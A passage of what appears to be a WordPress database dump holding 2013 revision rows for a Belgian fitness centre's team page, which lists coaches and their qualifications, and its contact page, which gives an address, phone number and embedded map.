&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-31', '', '', '2013-07-03 19:55:18', '2013-07-03 19:55:18', '', 20, 'http://www.crosstrainingcenter.be/?p=253', 0, 'revision', '', 0),
(255, 1, '2013-07-03 19:56:59', '2013-07-03 19:56:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-33', '', '', '2013-07-03 19:56:59', '2013-07-03 19:56:59', '', 20, 'http://www.crosstrainingcenter.be/?p=255', 0, 'revision', '', 0),
(254, 1, '2013-07-03 19:55:48', '2013-07-03 19:55:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:280px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-32', '', '', '2013-07-03 19:55:48', '2013-07-03 19:55:48', '', 20, 'http://www.crosstrainingcenter.be/?p=254', 0, 'revision', '', 0),
(258, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 9, 'http://www.crosstrainingcenter.be/?p=258', 0, 'revision', '', 0),
(259, 1, '2013-07-03 20:26:03', '2013-07-03 20:26:03', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:26:03', '2013-07-03 20:26:03', '', 9, 'http://www.crosstrainingcenter.be/?p=259', 0, 'revision', '', 0),
(260, 1, '2013-07-03 20:28:57', '2013-07-03 20:28:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:28:57', '2013-07-03 20:28:57', '', 9, 'http://www.crosstrainingcenter.be/?p=260', 0, 'revision', '', 0),
